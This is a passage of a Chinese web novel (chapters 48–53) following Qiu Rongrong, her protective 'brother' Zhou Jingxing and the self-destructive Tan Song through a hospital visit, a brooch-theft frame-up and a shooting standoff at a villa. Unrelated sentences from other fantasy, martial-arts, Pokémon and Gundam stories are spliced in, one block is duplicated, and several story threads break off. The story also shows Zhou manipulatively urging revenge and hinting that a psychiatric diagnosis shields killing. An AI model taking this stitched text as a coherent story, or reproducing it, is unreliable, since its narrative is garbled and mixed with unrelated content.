这个他,指的是现任徐氏集团总裁徐元宵。
“你的手有伤,别再乱动了。”秋榕榕来的时候把冰袋里的断指也带了过来,“我们现在去医院接手指,说不定还来得及。”
谭松站起来的时候头还有点晕。
像一条可怜的落水狗。
秋榕榕去扶他,“没事吧?还能走吗?”
他低声说了句:“能走,我欠你两条命。”
秋榕榕深以为然,她狠狠地点头,“嗯,记得还。”
“好。”谭松愣了一下。
他看见秋榕榕微笑的侧脸,她对他说:“谭松,好好活着,有命才能还给我呀。”
这一刻,谭松在无尽的黑夜里,看见了那盏为自己亮起的小灯。
第48章 缝线
去医院的路上,谭松一边裹着毛巾擦头发,一边低头操作手机。
他先是给自己那位整天黏着他的女朋友发了条短信:“告诉你对象,我们三不玩了。”
紧接着,又点开那个曾在酒吧吹牛说能带他发家致富的“老大哥”,发了条更简短的:“滚。”
原因是,这两个置顶的人都没有来救他。
与此同时。
他的女朋友正在酒吧蹦迪,看到他的消息翻了一个大白眼,发了一长串骂人的话,趁着他没回消息,迅速把他拉黑,然后挽着身边那位猛男继续旋转跳跃。
至于那位前两天还拍着胸脯说一起发财的兄弟,此时正躺在出租屋发霉的床垫上,呼噜打得震天响,门口的求救信和一堆催款账单混在一起。
他们压根就没看到信。
就算看见了也只会当成无聊的恶作剧。
谭松发完消息之后,从后排看像沉默不语的周景行。
第一次见面,他没有看见正脸。
这次,他看周景行,只觉得格外面生。
以前谭家还没破产的时候,和上层的圈子经常有交际,他们圈内人就那么多,周家生意做得也不小,按道理来说,他应该见过周景行。
但是没有。
谭松可以肯定,在以往的任何一次聚会中,他都没见过,没听说过周景行这号人。
“这是我哥的外套,之前放车里的,你披一下。”
谭松和周景行的身高差不多,体型的话谭松身上的肌肉多一些,皮肤更倾向健康的麦色。
周景行的衣服,他差不多也可以穿。
谭松当着秋榕榕的面脱衣服,毫不脸红。
秋榕榕自觉把头别过去。
他换好衣服后,打了个响指,示意秋榕榕可以了。
秋榕榕才把头扭过来。
她发现,他没有扣扣子,衬衫就这样敞开,露出肚子上紧实的腹肌。
秋榕榕假装没看见。
心里默念,非礼勿视。
谭松把湿露露的脑袋悄悄地凑到秋榕榕耳边,“你男朋友好大度。”
这话周景行也听见,他只是通过前视镜看了后排一眼。
秋榕榕把毛巾盖在谭松的脸上,“我哥那是成熟稳重。”
“是,周家大少爷当然比我稳重,是值得托付终身的人。”
他嘴上说得好听,见周景行没什么反应,又偷偷在秋榕榕耳边吹了口气。
秋榕榕脸“刷”地一下红了起来,她憋着话,想说他刚死了逃生,就这般不要脸。
秋榕榕使劲往门的方向坐,离谭松远远的。
结果谭松又在手机上打字。
他把手机屏幕展示给秋榕榕看。
「偷着来,可刺激?」
“哥,我要坐副驾驶!”
……
下车后,秋榕榕带谭松去医院缝手指,医生说来得及时可以接上,但会影响到神经,这条手指以后不会太灵敏。
“没事,反正也不是靠这根手指吃饭。”谭松笑嘻嘻地躺在手术床上,语气吊儿郎当,眼神却冷静得出奇。
局麻效果不太好,缝合时他偶尔皱眉,却一句都没吭,反而还有闲心开口说话:“你男朋友真舍得让你进来陪我?”
秋榕榕点点头:“是他坚持的,他说你需要人陪着。”
谭松“啧”了一声:“你哥圣人啊,这都不吃醋?”
“我哥才不是那种小心眼的人,他明辨是非。”秋榕榕语气温温柔柔,提到周景行时,话都要软三分。
但随后,她话锋一转,“你下次不许在我哥面前乱说话,他要是真的误会了,我和你没完。”
秋榕榕对待感情特别认真,她不喜欢暧昧玩笑。
“你就当我单相思。”他说这话语气轻飘飘的,风一吹就散。
“那也不行。”
谭松挑了挑眉,“你不觉得你男朋友有点古怪吗?”
“哪里?”
“深更半夜,带着你去废弃厂房里救另外一个男人,没有丝毫怨言,也有没有怀疑我们两个人之间的关系,他是钝感力太强,还是不喜欢你呀?”
秋榕榕一噎,“……”
她竟然觉得他说得有点道理。
“我以前没在圈内见过他。”
秋榕榕解释道:“我哥不太喜欢社交活动。”
“他对你也没占有欲。”
“……”秋榕榕沉默,这又被谭松说中了。
“你知道男人喜欢一个女人是什么样子的吗?”
秋榕榕摇摇头。
她没谈过恋爱,不清楚。
周景行身边也没其他异性。
她觉得,他们是一类人。
“我觉得喜欢是尊重爱护,他对我就是这样的。”
谭松煞有其事地说道:“别信那些人说的什么尊重与自由,一个人如果喜欢你,对你肯定是有欲望的,占有欲也好,身体的欲望也罢,你能在他的身上看见对你隐忍的攻击性。”
秋榕榕笑道:“说得你好像很有经验一样,你心里真正喜欢的女生是谁呀?”
这下轮到谭松无话可说。
他没有正经的谈过一次恋爱,之前都是短期女友,他是玩咖,对面也是玩咖,合得来就在一起,新鲜感过了就换人,不存在什么真爱。
不要求对方忠诚。
也没有占有欲。
甚至出于个人癖好,他会更喜欢有对象的女人。
饭都是别人碗里的比较香。
女朋友,当然也是别人的好。
“我想想,嗯……现在应该是最喜欢你。”他懒洋洋地看着秋榕榕,眼尾微翘,藏着点不正经,“你救我两次,我现在一无所有,就剩我这个人,你要是感兴趣,我可以跟你走。”
谭松的话半真半假。
他想起那个闷热的出租屋夜晚,秋榕榕安静地睡在他的床上,他从来没有睡过这么早,少了灯光音响,少了烈酒,他就守着她,从糜烂的生活里暂时挣脱出来。
那样似乎也不错。
“呸呸呸,我男朋友不需要一顶绿帽子,你别想对我恩将仇报。”秋榕榕退避三舍。
谭松嘴角挂着笑,“我不拆散你和你哥,你只要能管理好时间,我这边完全配合。”
第49章 学坏
秋榕榕知道他是在开玩笑。
他拿混社会时,对待酒肉朋友的态度,对待她。
她看着他受伤的手指和掌心的疤痕,特别认真地对他说:“谭松,别玩了,那样做一点都不酷,而且还容易得病。”
“哈?”他眼角微挑,带着一点天然的痞气。
他没想到,秋榕榕会一本正经地打直球。
病房灯光柔和,她白净的皮肤像拂过月色的瓷盏,一点不染,眼神却带着令他无法回避的坚定。
“向下坠落的自由不是自由,我以前也经历过至暗时刻,但那个时候,我不是通过寻求刺激来让自己忘记,而是告诉自己要好好生活。”
她说话的声音很轻,带着点江南水乡的软语调,但神色又格外认真。
“我们这种人啊……想回到正常人的生活本来就艰难。”她顿了顿,“但要是连自己都放弃,那对不起捡回来的这条命。”
谭松有些别扭。
他想和以前一样用散漫的语气带过,但看着秋榕榕如水般的双眸,那些话就说不出口了。
“别突然搞得这么认真……”
他眼神闪躲,见秋榕榕看着他不说话,充满挫败感,“啧……算我败给你了,你好好谈你的恋爱吧,别管我,之前的话当我没说。”
“这是我的心里话。”
“我知道。”谭松不看她,“我知道你的好……”
他也知道自己的不堪……
谭松他手指已经缝合好,裹上纱布,只要再观察一下,就可以出院回家休养。
秋榕榕问道:“对了,你那天是怎么进我小区的?”
谭松用那只好手摸了摸鼻子掩饰尴尬,“借的沈砚川的车。”
秋榕榕皱眉。
谭松赶紧解释:“你别多想,他不知道我借车干什么。”
此时护士在门口,叫病人家属去医生那里。
“来了。”秋榕榕起身出门,走了出去。
家属这个词,让谭松心念一动。
“秋榕榕……”谭松鬼使神差地在背后喊她的名字。
她停下脚步。
谭松坐在病床的枕头上,穿着皱巴巴的白色病服,脸上戏谑的表情一扫而空,眼神有些空,“你不恨我吗?”
秋榕榕将几缕碎发垂在耳侧,神情平静地抬眼,语调缓慢:“因为哪件事儿?”
谭松自嘲地笑了笑,“每一件。”
秋榕榕想了想。
“如果你说的是三年前的案件,我说过,枪决之后恩怨了结,上辈子的恩怨,和你没关系。
如果你说的是前几天,我希望你能向我道歉,然后,不要再频繁联系我了。”
“你要和我绝交?”谭松撑着身子想要坐起来,差点碰到已经缝好的手指,轻轻“嘶”了一声,语气有些急切,“你都来救我了,我们刚才相处不也挺好的吗?我以为你不生气了。”
“我来找你是因为人命关天,送你来医院是因为你的手指急需缝合,陪在这里是因为你家中无人。”
秋榕榕有些无奈地看着他,“不是绝交,是给彼此一点空间。”
“那你别对我冷淡,我给你道歉。”谭松也知道他沦落至此,身边没几个人真心待他。
他一边堕落着,一边又希望有个人可以将他拉出去,“之前的事,对不起……我是因为我妈,才迫于下策这么对你。”
“我知道你的苦衷……”
护士又在门口催了几句。
“我回来再和你说吧。”秋榕榕先离开病房处理正事。
回来之后。
秋榕榕把医生交代好的术后注意事项全部写在手机备忘录上,发给谭松。
“手术缝合之后,不要喝酒,警署那边你自己去做笔录。”
“我刚才和你道歉,你有没有……”他想问她有没有原谅他。
“医生交代的我都发给你了。”秋榕榕看见谭松的局促,她狠了狠心,“至于你的道歉,我需要一段时间消化,先保持距离吧,这样对我们而言都好。”
“不行!”
“这是我的决定。”
“秋榕榕,你听我说,之前的事情确实是我做错了,我也不想找什么借口,但是我们之间有约定,要一起去找三年前那个案件背后真正的凶手。
你身边和过去相联系的人,只有我,我保证不会再和你开那些玩笑,也不会再让你置身险地!
我确实挺喜欢你的,但我发誓,我不会破坏你和你男朋友的关系。
你要是实在介意,就让我们保持之前那样,好不好?我知道有一家烧烤很好吃,我们还像之前一样晚上出去吃。”
“不可以。”秋榕榕无奈地冲他笑了笑,“至少现在,不可以。”
说完,她转身离开。
谭松那只刚缝完针的手垂在被子边缘,包着厚厚的纱布。
空荡的病房只有他一个人靠在那里。
这一刻,他有些后悔,后悔自己没有做一个很好的人。
他如果端庄持重,有事和秋榕榕商量,她或许就不会想着和他保持距离。
秋榕榕刚出病房没几步,她就撞到了等在那里的周景行。
他靠着墙,低头翻着手机,听见动静抬起头。
那双眼睛天然带笑,漆黑的色彩能洞穿一切。
“和同学吵架了?”
秋榕榕摇头:“没有,只是把有些话说清楚。”
“父债子偿,他爹害了你全家,这种人你怎么对他都不为过。”周景行语气不疾不徐,脸上挂着一贯的温和。
他的温和,是事先准备好的。
像他身上那件熨得笔挺的衬衫,完美、克制、没有一丝褶皱。
“他是凶手的孩子,不是凶手。我不恨他,却也没能找到和他的相处之道。”秋榕榕垂下眼睫,“我不想把自己也变成一个只会仇恨的人。”
“一条命,换六条,还有你那受尽折磨的一年,不觉得不公平?”
秋榕榕错愕地抬头看着周景行。
他如此轻描淡写,说中了她刻意想忘记的阴暗一角。
“可犯错的只有凶手一个……”
他抬头,摸了摸她的头,声音蛊惑,如恶魔低语,“不,流淌着凶手鲜血的孩子,同样该为此赎罪。”
秋榕榕以前这么想过。
心里充满仇恨的时候,恨不得世界都毁灭。
但现在凶手被执行死刑后,她已经放下,心里更多的是宽恕。
放过别人,也放过自己。
“你应该讨厌他,他的父亲毁了你的家庭,他不仅不赎罪,之前还想伤害你。”
周景行一步一步地引导她,皎洁的明月也该坠入阴沟中,和腐草烂叶为伍。
“你想想,凭什么凶手的孩子能和你上同一所学校?凭什么凶手的妻子还能嫁入豪门做富太太?
你难道不觉得,只有他们生不如死,才能对得起你那一年所受的苦痛折磨吗?”
“哥,这种事情想想就好。”秋榕榕有些无奈,“谭松父亲已经死刑,他在学校过得也不怎么样。
他的妈妈更无辜,好日子没过几天,还进牢里了。
我和他们闹什么呢?无非是底层人互啄而已。”
周景行目光温柔得像要把人包进来。
“那你有没有想过……你的爸爸妈妈希望你为他们复仇?”
“哥……”秋榕榕和他四目相对,“你是在教我学坏吗?”
第一卷 第50章 飙车
“如果我说是呢?”他盯着她的眼睛,像漩涡,像黑洞,要把她吸进去,“我只是替你委屈。”
秋榕榕发现他不是说笑,眉头蹙起,正欲开口纠正。
他说:“你有精神病诊断证书,杀人不会判死刑。”
只是不知道一号为什么这么看重他们,竟然花大价钱将他们培养起来,也知道即便是那些门主也是基本上都赶不上两人的实力,实在是费解。
又过了几年,听说洛皇后病故,晋皇帝又娶了新的皇后,之后晋国平静无波,并没有什么消息传来,云诀子和苦僧都以为这段旧事怕是彻底被揭过去了。
或许在无数个岁月中,他也没有感受到过惧怕,除了黑暗能感受到,那些孤单之外,他从来没有认为惧怕在自己心中曾经出现过,因为这完全是不可能的事情,他从不知道惧怕是如何的滋味。
上午王鹏在教育局主持召开了项目申请动员会,中午在教育局食堂吃了工作餐,本打算下午再一起到东江相对落后的几个县看看那里的学校情况,作一次调研,却突然接到季刚的电话,说许延松有急事要见他。
景墨轩没有着急推开白云珊,反而是斜着眼看了看韩水儿面部表情的变化,可韩水儿的脸色从始至终都没有一丝一毫的改变。
虽然他到了s级已经没有吃东西,但是水源还是依旧摆脱不了,这真正印证了那句话,水是人生命之源。
天马有翅膀,这可不是装饰而是真正的可以飞,当然它飞薛云也有办法,他也会飞嘛,这一刻他才知道自己原来当一次鸟人还是很骄傲的,毕竟要抓的可不是普通的东西。
北冥寒轩故意绕开话,并没有正面答应琅啸辰,而琅啸辰也不急不恼,伸出双手指,轻挑眉眼看向北冥寒轩,“十座城池,来换回我琳琅贵妃,如何”?
“你是说,你自己赢的?冰墙是你施的法…”侯稳显然还是不信。
楚天羽心里清楚,他这次不仅仅是为修炼【无形拳】打下基础,更是为今后的修炼打好根基。
一顿杀,明威吼叫着,身体化为千丈鬼,一踏脚,便有血轮死伤。
“等下我说几味药,二叔安排人出去寻找购买吧。只要这几味药找到了,相信二叔你重新雄起日子就不远了。”龙天威道。
楚风不是一般人,他是正派武林第一人,他不可能不关心正派武林的荣辱,楚天羽代表的是正派武林,此战如果楚天羽输了,正派武林会很没有面子。
黎叔点点头,其实他对嬴泗的好感要比李白更多,看到嬴泗他就有一种天然的亲近,他并不知道这是为什么,不过并不妨碍他照顾嬴泗。
连她自己都很不解,为什么只是见过玄风一次,她就如此疯狂地想念对方,巴不得离开见到玄风,好好和他聊聊天,说说话,不说话也行,就那么待着,也是一种幸福。
只要杀掉楚天羽,他们就可以夺得联盟令,从而掌握整个武林世界。
火焰在空间不断徘徊,将魔蛟们连连击退。也就是在同时,两边的武力轰炸终于停了下来。
离恨子离去了,他决定回山门潜心修行,待法术大成之时再来找陈景。修行无岁月,待百年后再来看他是否还活在世上,即使风华绝代,若不能长生,也不过流星坠空而已。
第一卷 第51章 求和
“咱们讲道理,我不想坐车,你偏让我坐,还把我晃吐了,这个责任是不是应该在你?”
徐照用看傻子的目光看她,“你觉得我会和你讲道理吗?”
黑衣人的实力是剑师后期,而叶尊才剑士初期巅峰,和他交手,难度自然很高。
曾经他还去参加过世界飞针比赛,获得了二等奖,因为美国还有个飞针的家伙比他厉害,因此,他便拿了二等奖,去年美国的那位飞针高手去世了,算起来,如今的黄浪在飞针界,也算是一等一的高手了。
果然……她真的一个字都没听见……一时冲动后刚刚冷静下来的韩铮,心中暗自窃喜的同时,却又隐隐觉得有些遗憾。
这种威势…蒙天细观场上变化,心中暗暗设想若是自己遇上这两人中的一位,自己是否能有战胜之力?
“果然厉害,波士可多拉,用山崩地裂。”波士可多拉双手插进操场的地面,然后抬起一块十几米的巨大岩石,向着水箭龟砸了过来。
就在托尔无法抉择之际,天边忽然飞过来一个黑点,神盾局所有人看到此物纷纷警戒,可是那个黑点却越来越迫近了。
此时那迷雾依旧还是将它后面的景象全部遮掩,但那原本只在原地飘浮的雾气似乎是因为没有了屏障的束缚,开始隐隐有些上升入天的趋势,所以此人才会有此一说。
超梦没等坂木下令就自行开始攻击,喷火龙被它的念力抓住无法动弹,狠狠砸在了地面上。
的确,前些天因为等着曹操的消息未果,马孝全就将潜行的本领教给了青衣。
不过强者自然是有强者的看法,在场实力较优的几人包括蒙天在列却是对于这陆仁越来越不屑,话说人争一口气是没错,可如此愚争只能说明此人能成气候罢了。
如闪电般突如其来的飞行器也同样如闪电般疏忽而去了,但是雷达屏幕上似乎还留下了什么东西。
就在zaft士兵踏入走廊的同一秒,自动机枪被内置的爆炸装置彻底扯成了碎片,随即又有一名zaft突击队员的密封宇航服被飞散的碎片击穿。
“你将这暗器运用熟练之后,出其不意之下,有可能干掉毫无准备的先天境界武者!当然,有所防备的先天境界武者,凭这暗器,还奈何不得!”李汉沉默片刻后道。
“老板,你要的照片全部拍好了,都在这个相机里!”王峰拿着数码相机找到李汉,对他道。
“哪里……消灭邪恶的孽畜是我们天使的使命!而且,我们已经失去了太多战友,不该再如此消耗本来就已经非常珍贵的士兵们了。”说罢,他一挥手,身旁的复仇天使中队长便点了点头,带着大部分复仇天使赶赴前线。
现实就是这样,有杰出,自然就有平庸,有非凡,自然也有平凡。
但是月夜并没有进去十分深沉的睡眠,而是浅眠罢了,只要一有动静的话月夜就混瞬间起身然后冲出帐篷开打。
“我们上去吧!”李汉话音一落,如履平地一般使用轻功飞上摩天崖。
“是你!”大当家瘫软的身子一下子从椅子上跳了起来,警惕地看着陈风,目光中隐有恐惧之色。
第一卷 第52章 栽赃
上舞台前,姜雨薇给秋榕榕加油打气,给她的胸口别了一枚四叶草胸针,“别紧张,这会给你带来好运。”
秋榕榕深吸一口气,手心都是冷汗。
其实不值钱这个特点,从它们的数量上就能看出来,三环乃至四环魔法卷轴,在这个试炼空间里都是一张张出现,但二环卷轴,则似乎是以5张为一个单位。质量不行数量来凑,很多时候它们还是能起到一定作用的。
他眸色微沉,越过她看了一眼她身后的莲池,复又将目光落在了她的身上,没有说话。
藤宫的话音落下,在他的身边,那名道藏三重境的老者便是一步跨出,身上一股强大的气息散发出来,火土木三种大道之力,同时爆发出来,朝着林晨三人压迫过来。
正因为两种极端的矛盾,霸道之极所以才会伤人伤己,当初是为了震住他身上的寒毒才练的,不过效果不大,好在还能对忆儿有用。
有了它,地龙那看似坚不可摧的外甲,不过就是一层稍微厚点的豆腐罢了,当然最重要的是,它很低调,并且经济实惠。
孔雀王跪在地上,眼里神色复杂,心里更是已经凉透,本以为得到大孔雀明王真法,能有机会脱离血魔的控制,却没想到连血魔引都没办法解决,今天更是落在血魔主人的手中,难道自己这辈子就真的逃脱不了了吗?
“你说什么?你的店,你做梦吧……”那陈康元愣住了,大肚子蓝制服男也愣住了。
炎萱不禁莞尔,口中虽这般附和,可望向洛寒的目光,却依然情浓如斯,犹如三千弱水。
更何况,至少也有那么一丝希望,可能抓住林晨的一个破绽,从而一击致命。
唐利川想了一下,随口讲:“没有……”这才发觉自己能讲话了,只是声音不够响亮而已。
谢东涯在里面忙着救人,而李彤站在‘门’口则十分郁闷。谢东涯只是个刚刚转正的医生,如果救人的话也应该是她这个外科副主任出手。
就算是裴正刚也肯定接不下谢东涯一招,龙千秋的修为比裴正刚还要强上一些,已经是半只脚踏入地境的人了,连他都接不下谢东涯的一招,裴正刚也是白给。
我听了只是一个劲点头,因为我真的害怕失去。就这样行尸走肉般的过了几天,在一个下着雨的下午。我没忍住,打电话给他。他一开口,我就哭了。
可后来一想,他确实很讨厌,他将自己辞退,自己与他将永远不见,为何还要惧怕他。不过,被他一闹,自己是时候应该走了。
可这一幕落在他人眼力,那就是,南宫如雪好像非常给王赢面子。
“不道歉也可以,但是你得留下一样东西。”王赢淡淡开口说道。
“爸,你知道吗?虽然吕曼妮骗了大家,可黄华后来做的事,哪一件做对了?”叶子强非常反对,刚才父亲一定被他洗脑了,那家伙嘴皮子功夫倒是挺好,哄得父亲一心帮他说话。
“这你就不懂了吧,王少主刚刚明明是用了什么特殊的方法隐藏了修为,所以我们才看不出来,据我估计,王少主的真实修为,远远不止武灵六重境!”另一人用手摸了摸下巴,摆出一副高深莫测的样子来。
第一卷 第51章 求和
“咱们讲道理,我不想坐车,你偏让我坐,还把我晃吐了,这个责任是不是应该在你?”
徐照用看傻子的目光看她,“你觉得我会和你讲道理吗?”
黑衣人的实力是剑师后期,而叶尊才剑士初期巅峰,和他交手,难度自然很高。
曾经他还去参加过世界飞针比赛,获得了二等奖,因为美国还有个飞针的家伙比他厉害,因此,他便拿了二等奖,去年美国的那位飞针高手去世了,算起来,如今的黄浪在飞针界,也算是一等一的高手了。
果然……她真的一个字都没听见……一时冲动后刚刚冷静下来的韩铮,心中暗自窃喜的同时,却又隐隐觉得有些遗憾。
这种威势…蒙天细观场上变化,心中暗暗设想若是自己遇上这两人中的一位,自己是否能有战胜之力?
“果然厉害,波士可多拉,用山崩地裂。”波士可多拉双手插进操场的地面,然后抬起一块十几米的巨大岩石,向着水箭龟砸了过来。
就在托尔无法抉择之际,天边忽然飞过来一个黑点,神盾局所有人看到此物纷纷警戒,可是那个黑点却越来越迫近了。
此时那迷雾依旧还是将它后面的景象全部遮掩,但那原本只在原地飘浮的雾气似乎是因为没有了屏障的束缚,开始隐隐有些上升入天的趋势,所以此人才会有此一说。
超梦没等坂木下令就自行开始攻击,喷火龙被它的念力抓住无法动弹,狠狠砸在了地面上。
的确,前些天因为等着曹操的消息未果,马孝全就将潜行的本领教给了青衣。
不过强者自然是有强者的看法,在场实力较优的几人包括蒙天在列却是对于这陆仁越来越不屑,话说人争一口气是没错,可如此愚争只能说明此人能成气候罢了。
如闪电般突如其来的飞行器也同样如闪电般疏忽而去了,但是雷达屏幕上似乎还留下了什么东西。
就在zaft士兵踏入走廊的同一秒,自动机枪被内置的爆炸装置彻底扯成了碎片,随即又有一名zaft突击队员的密封宇航服被飞散的碎片击穿。
“你将这暗器运用熟练之后,出其不意之下,有可能干掉毫无准备的先天境界武者!当然,有所防备的先天境界武者,凭这暗器,还奈何不得!”李汉沉默片刻后道。
“老板,你要的照片全部拍好了,都在这个相机里!”王峰拿着数码相机找到李汉,对他道。
“哪里……消灭邪恶的孽畜是我们天使的使命!而且,我们已经失去了太多战友,不该再如此消耗本来就已经非常珍贵的士兵们了。”说罢,他一挥手,身旁的复仇天使中队长便点了点头,带着大部分复仇天使赶赴前线。
现实就是这样,有杰出,自然就有平庸,有非凡,自然也有平凡。
但是月夜并没有进去十分深沉的睡眠,而是浅眠罢了,只要一有动静的话月夜就混瞬间起身然后冲出帐篷开打。
“我们上去吧!”李汉话音一落,如履平地一般使用轻功飞上摩天崖。
“是你!”大当家瘫软的身子一下子从椅子上跳了起来,警惕地看着陈风,目光中隐有恐惧之色。
第52章 栽赃
上舞台前,姜雨薇给秋榕榕加油打气,给她的胸口别了一枚四叶草胸针,“别紧张,这会给你带来好运。”
秋榕榕深吸一口气,手心都是冷汗。
她已经很久没有站在这么多人的面前。
虽然是秋天,但身边的人打扮得都很时尚,只有她长裤长袖,把自己遮得严严实实,身上最亮的装饰,也就是那枚宝石镶嵌的四叶草胸针。
秋榕榕一直在往台下看,怕徐照过来找茬。
幸好,徐照最近不怎么来学校。
姜雨薇拿着话筒走上前,她很自信,天生属于舞台,眉眼飞扬地笑着说着开场白。
舞台灯骤然亮起,吉他是前奏,音浪一波一波的,秋榕榕走到属于自己的架子鼓前,敲下鼓点。
晚风吹起她的发丝,彩色灯光打在她脸上,她忽然觉得大学就应该这个样子,随着音乐放轻松,秋榕榕跟着舞台上的人一起笑了起来。
这是她来归墟市之后,最快乐的一刻。
没有绑架犯,没有欺凌,没有房子里的那些怪声音……她身边的人青春洋溢,充满了生命力,她被年轻的人包围着,就像她的未来还有无限可能。
直到一名女生脸色铁青地走上台,抓住秋榕榕的衣领,把她胸口的四叶草胸针扯下来,冷着脸质问她:“你为什么要偷我的东西?!”
表演被这突如其来的变故打断。
“滋啦——”
麦克风放大争论的声音。
草坪里围观的学生窃窃私语。
无数目光又落在了秋榕榕身上,她如坐针毡。
“这是姜雨薇送给我的……”秋榕榕震惊地看向主唱位置的姜雨薇,等着她给一个解释。
姜雨薇却只是惊恐地摇了摇头,“不是我给你的,你别赖在我身上!”
秋榕榕一瞬间觉得血凉了。
“你怎么可以这样说?这个胸针就是你在上场之前给我的,说会给我带来好运!”
姜雨薇摇头,她不承认。
底下的学生纷纷议论此事。
「谁不知道姜雨薇家是开公司的啊,她浑身上下穿的都是名牌,人特别好,怎么会偷东西?」
「对啊!赖谁也不应该赖到姜雨薇身上!」
「也只有姜雨薇这种没心眼的会和秋榕榕交朋友,谁不知道三年前发生的事情啊?一般经历过全家死在面前这种事,怎么可能心态还正常?」
「说不定她觉得全世界都是欠她的,所以才出来偷东西。」
「我倒觉得是嫉妒。」
「对,肯定是没见过好东西,眼红了才去偷……」
那些议论的声音变得很大,如鼓锤。
寒意从脚底直冲头顶,秋榕榕想去质问姜雨薇为什么要这么做,但姜雨薇躲在了人群后面,不敢正视她。
女生在秋榕榕的耳边叫喊道:“你知道这个胸针多少钱吗?这个胸针是我奶奶留给我的遗物!对我而言比生命还重要!”
她最后几乎咬牙切齿地说道:“我一定要送你去坐牢!”
秋榕榕感觉自己的嘴唇是干的,指尖发凉,心脏被重物压着,钝钝地痛。
她眼前的一切被蒙上了一层雾。
四周的人影浮动,却都离她越来越远。
后面变得很混乱。
那名女生报了警。
……
是沈砚川带着秋榕榕的精神鉴定报告把她从警署里领出来的。
她机械地迈开步子,跟着沈砚川走出警署,天色阴沉,风吹得她睫毛微颤。
这个鉴定报告,真是一张免死金牌。
让秋榕榕虽然背着小偷的称号,但还是全身而退。
“你男朋友在外地出差,短时间赶不回来,他知道谭松是你同学,联系了他,他又找了我。”沈砚川解释着来龙去脉。
谭松之前帮人看赌场,进过几次警署,每次来都要吵架,为了让事情顺利点,谭松找来了很像好学生的沈砚川和警员沟通,救秋榕榕出来。
沈砚川:“那个四叶草胸针没坏,已经还给那个女生了,她很生气,但念在你生病,还是原谅了你。”
“这个胸针不是我偷的,是姜雨薇给我的。”秋榕榕重复着这句话,但是没有人愿意相信她。
沈砚川有些为难地说:“姜雨薇家境很好……”
是的,姜雨薇家境好,做不出偷鸡摸狗的事。
秋榕榕是孤儿,会偷东西。
谭松挡到秋榕榕面前,“沈砚川,我相信这个东西不是秋榕榕偷的,她不是偷鸡摸狗的人。”
谭松觉得,秋榕榕心肠这么软,她不把自己饭钱捐出去给贫困儿童吃饭就已经不错了,怎么可能去偷窃呢?
沈砚川推了下挺翘鼻梁上的眼镜,“你们两个呀,现在不是我们相不相信的问题,是整个学校的人都认为这枚胸针是秋榕榕偷的。”
小偷两个字压下来,谁还敢和秋榕榕做朋友。
“管别人的眼光做什么?”谭松本来想伸手拍一下秋榕榕的肩膀,但想起她之前说的保持距离,手悻悻地收回。
他对沈砚川说:“你好歹是学生会副主席,在学校帮我照顾她一点。”
沈砚川无奈答应下来。
结束之后,谭松让沈砚川帮忙送秋榕榕回来,秋榕榕摆摆手,对谭松说:“你送我一段路吧。”
她叫了网约车。
谭松和她一起坐在后排。
一路上,他们都没有说话。
直到下车后,秋榕榕站在小区的门口对他说:“谭松,谢谢你相信我,还站出来帮我说话,我接受你之前的道歉。”
这句话像一道光,从谭松胸口破开这些天封闭的口子,照进来,照得他眼睛发涩、喉咙发紧。
他低头看她,她站在灰蓝色的别墅区门口,身影瘦削,眼里带着疲惫却依旧清澈。
他张了张嘴,想说点什么。
他想说“我和别人不一样”“我不会再背叛你”“不会再伤害你”。
他想说“如果你想做个逃兵,我可以带你一起走,去其他城市,去一个恩怨没有那么深的地方”。
但最终,谭松只是别开脸,假装不经意地把嗓音压低,说:“你不生我的气就好啦。”
“不生气了。”秋榕榕笑着从书包里掏出一个饭盒,递给谭松,“这个是我自己做的,本来想着校园音乐节结束之后没地方吃饭,就自己带了一份。”
她现在吃不下东西。
谭松跟着奔波,也没吃到饭。
“有点清淡,你要是不嫌弃的话,给你当晚餐吧。”
谭松收了下来,“我明天把餐盒洗好后还给你。”
秋榕榕点了点头。
“你会好好的吧?”谭松见秋榕榕如此失落,有些不放心。
秋榕榕抬起头,“我会坚强面对的。”
……
秋榕榕接下来在学校里的日子不好过,没有人再愿意坐在她的身边。
去食堂吃饭的时候,身边的人也指指点点。
走在学校的路上,还会被人恶意喊“小偷”。
秋榕榕去找姜雨薇,想问她为什么这么做。
但姜雨薇躲着她,还和那个被偷了四叶草胸针的女生做了新的朋友。
她看她的眼神,那么陌生。
她做了那么过分的事情,却没有给她一个解释。
而这段孤独被排挤的时间,沈砚川陪在她身边,一起上自习,一起吃饭,一起参加校园活动,让她显得没那么形单影只。
一个月之后,徐照的生日宴如期而至。
上次因为四叶草胸针的事情,秋榕榕忘记提醒谭松,直到她收到徐照的电话,才匆匆发消息给谭松,让他一定要小心,防止徐照又使什么坏点子。
徐照生日宴,秋榕榕没去。
她甚至没去学校,缠着周景行在家里陪她,结果收到谭松发的短信,说他把钱藏在出租屋的枕头芯里,如果他出了事,这些就是他的遗产。
他让秋榕榕拿着这笔钱去读研。
秋榕榕收到信息吓坏了,她央求着周景行带她去徐照的别墅。
感谢周家瘦死的骆驼比马大,秋榕榕进入徐照院子里的时候,看见游泳池里飘着一具尸体,半边游泳池的水都被鲜血染红了。
谭妈妈在游泳池里被淹死。
而此时此刻,徐照肩膀上扎着谭松捅进去的那一刀。
而徐照拿着枪,抵着谭松的脑门。
徐照肩膀的血顺着刀滴在谭松的脸上。
漆黑的枪口对准谭松。
他要杀了他。
秋榕榕举起手机,在保镖冲上来之前大声喊道:“徐照,你不要开枪,我已经报警了!”
他们两人都赤红着眼睛,看着秋榕榕。
“你来做什么?”
“你来做什么!”
他们异口同声,却是截然不同的语调。
第一卷 第53章 四年
警署的人前来,将尸体打捞,将闹事的人全部带走。
谭松因故意伤害罪,被判了有期徒刑三年半。
学业因此彻底葬送。
而徐照只是去做个笔录就出来。
谭妈妈的死亡,被鉴定为意外事故。
好不公平。
“你要去见他一面吗?”沈砚川在学校门口,开着车等秋榕榕。
雨嫣然自己也提起碗来抿了一口,不想这汤不只鲜香无比,入得口内,却又觉有一股热线直流入腹中,瞬即便得流贯至全身。
“不是,死者在信里面也有说过,这个孩子是她与你岳父所生。”民警进一步说道。
一时张入云听他说的这般慎重,不由倒是心里微惊。但他天性坦荡,见一时想不出个所以然,也就丢过一边,起身向刘雨浓告辞。刘直送了三四里山路,这才回转身子。
“对不起,张叔叔,我能力有限,实在没办法活捉他。我能打败他,但是我却做不到活捉他,他自己想死,我无能为力。”王旭东对走进来的张副市长说着。
等林枫再次现身在十来米开外的时候,已经是半跪在地上喘着粗气的状态,而且看他那摇摇欲坠的身形,似乎随时都会栽倒。
另一边,高爸见识了林枫的厉害后,激动得坐立不安,双眼像放光似的盯着场中的林枫。
